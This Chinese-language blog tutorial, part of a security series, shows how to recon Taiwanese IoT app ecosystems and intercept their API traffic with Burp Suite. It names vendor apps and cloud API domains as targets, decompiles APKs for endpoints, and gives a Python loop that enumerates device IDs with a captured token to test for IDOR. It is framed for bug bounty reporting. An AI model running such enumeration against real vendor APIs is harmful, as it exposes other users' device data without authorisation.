iT邦幫忙

2025 iThome 鐵人賽

DAY 29
0
Security

從1到2的召喚羊駝補破網之旅系列 第 29

Day 29:用 Burp Suite 解構智慧應用

  • 分享至 

  • xImage
  •  

[鐵人賽] Day 29:從 IoT App 情報蒐集到 API 攻防實戰 —— 用 Burp Suite 解構智慧應用生態

✍️ 寫在前面
前幾天我們聚焦在台灣 IoT 產業的韌體、雲端與伺服器面
今天的目標是把 Day 28 的廠商情報延伸成行動端維度,
並示範如何用 Burp Suite 攔截 IoT App 流量、抽出 API、製作 PoC 驗證漏洞


🧭 一、為什麼 IoT App 是紅隊的突破口

IoT 應用雲端化後,每個 App 都會與雲端 API 交換指令,例如:

行為 對應 API
使用者登入 /api/login
裝置綁定 /api/device/register
狀態查詢 /api/device/status
遠端控制 /api/device/command
韌體更新 /api/update

只要這些 API 驗證不嚴謹、參數沒檢查,
紅隊就能發現漏洞、建立 PoC,進而通報廠商或參加獎金獵人活動。


🏭 二、台灣 IoT App 生態藍名單

類別 App / 服務 功能摘要 廠商 / 來源 攻防觀察重點
監控 DVR/NVR 長景錄 Guarder 遠端影像監看、警報推播 台灣 TWG 微凱 雲端 RTSP 認證、P2P 憑證驗證
攝影機 VIVOTEK iViewer / AVTECH EagleEyes IP Cam 控制 台灣晶睿 / 陞泰 API 權限控制、版本更新驗簽
VPN DrayTek SmartVPN SSL VPN 客戶端 居易科技(台灣) Token 綁定、明文傳輸
路由管理 ASUS Router / EnGenius Cloud 路由器與 AP 控制 華碩 / 恩碩 WebSocket 驗證、雲控接口
穿戴 / 家用 Garmin Connect / 全屋通 健康數據 / Mesh 管理 Garmin / 中華電信 App-Cloud Token、BLE 綁定
教育 IoT Makeblock / micro:bit / Sphero 機器人與學習裝置 中國 / 英國 / 美國 藍牙授權、雲端 MQTT topic
國際監控 DMSS (Dahua) NVR/P2P 監控 App 大陸大華科技 加密協定、推播 API

👉 這些應用多半與伺服器 API 連線,例如:
https://api.tw-guarder.com, https://cloud.engenius.ai, https://iot.asus.com
這些網域就是紅隊情報蒐集的起點。


🔍 三、情報蒐集重點

1️⃣ APK 反編譯搜尋 API 端點

apktool d app.apk -o output
grep -Ri "http" output > api.txt

2️⃣ 確認通信方式

  • RESTful JSON API
  • MQTT broker
  • WebSocket 指令

3️⃣ 分析認證模式

  • 是否使用 JWT、Basic Auth、或自製 Token
  • 是否有過期控制與簽章驗證

4️⃣ 比對廠商雲端主機

  • 透過 Shodan / Censys 搜索域名或 SSL 憑證
  • 找出 API 伺服器使用的雲端供應商(AWS / Azure / 阿里雲)

🧰 四、Burp Suite 實戰:攔截 IoT App API

⚙️ 環境設定

  1. 開啟 Burp Proxy → 設定 127.0.0.1:8080
  2. 在手機或模擬器設定 Wi-Fi 代理 → 指向你的主機
  3. 安裝 Burp CA 憑證(http://burp)
  4. 啟動 IoT App,Burp 即可攔截 HTTPS 流量

📡 攔截範例:SmartCam App

登入封包:

POST https://api.smartcam.tw/v1/login
{
  "username": "test@demo.com",
  "password": "123456"
}

回應:

{
  "status": "success",
  "token": "eyJhbGciOiJIUzI1..."
}

之後的 API:

GET https://api.smartcam.tw/v1/device/list
Authorization: Bearer eyJhbGciOiJIUzI1...

Burp Repeater 重新送出並觀察結果,可開始做 API 攻擊測試。


⚔️ 五、PoC 實戰:水平越權 (IDOR) 測試

在 Burp Repeater 中修改請求:

{"device_id": 123}

改成:

{"device_id": 124}

若回傳:

{"device_id":124,"owner":"userB","status":"active"}

🎯 恭喜找到 IDOR 漏洞 —— 伺服器未檢查 device_id 所屬權。


🔥 自動化驗證範例(Python + httpx)

import httpx

API_URL = "https://api.smartcam.tw/v1/device/status"
TOKEN = "eyJhbGciOiJIUzI1..."  # 從 Burp 拿到的 Token
headers = {"Authorization": f"Bearer {TOKEN}"}

for i in range(120, 130):
    r = httpx.post(API_URL, json={"device_id": i}, headers=headers, timeout=5)
    if "owner" in r.text:
        print(f"[+] IDOR detected at device_id={i}")
        print(r.text[:200])

輸出範例:

[+] IDOR detected at device_id=124
{"device_id":124,"owner":"userB","status":"active"}

這樣的結果即可作為通報報告的 PoC 證據。


🧩 六、API 安全測試常見漏洞類型

類型 測試重點 可能結果
未授權存取 嘗試空 Token 可看到公共資料
IDOR 修改 ID 水平越權
Token 驗簽錯誤 JWT 無驗簽 偽造權限
Debug API /api/test /debug 可直接存取管理接口
回應資訊洩漏 錯誤訊息含內部堆疊 洩漏伺服端結構
CORS 開放 Access-Control-Allow-Origin: * 跨站資料竊取
明文傳輸 未加密 API_KEY 可重放攻擊

🧠 七、報告撰寫建議

欄位 範例內容
漏洞名稱 IoT App API 水平越權(IDOR)
影響端點 /v1/device/status
漏洞描述 修改 device_id 後可讀取他人設備資料
重現步驟 1. 登入 App 2. 攔截封包 3. 修改 JSON 4. 成功取得他人資料
風險等級
修補建議 在伺服端驗證 Token 與裝置 ID 綁定,強化授權檢查。

🤖 八、LLM 輔助自動分析 API

在獎金獵人準備階段,你可以把攔截到的 API 封包丟給 LLM:

請幫我分析以下 API 回應,列出可能的敏感欄位與可疑端點。

或:

根據這些端點,幫我預測潛在越權與明文傳輸風險。

讓模型先幫你篩選高風險端點,再人工驗證,大幅提高效率。


🧩 九、結語:從資訊蒐集到控制權取得

Day 28 我們談的是「不安全部署的伺服器」;
Day 29 我們看到「App 與 API 的攻防連結」。

從情報蒐集 → API 攔截 → PoC 驗證,這條路線正是最有價值的技術鏈。


✅ 今日小結

階段 工具 目的
IoT 廠商蒐集 Shodan / httpx 建立攻擊面
App 逆向 apktool / jadx 找出 API
流量攔截 Burp Suite 攔截與重放封包
漏洞驗證 Python + httpx 自動化 PoC
分析輔助 LLM / Burp Repeater 智能化風險篩選

上一篇
Day 28:不安全部屬
下一篇
Day 30:從團隊挑戰到個人流水帳
系列文
從1到2的召喚羊駝補破網之旅30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言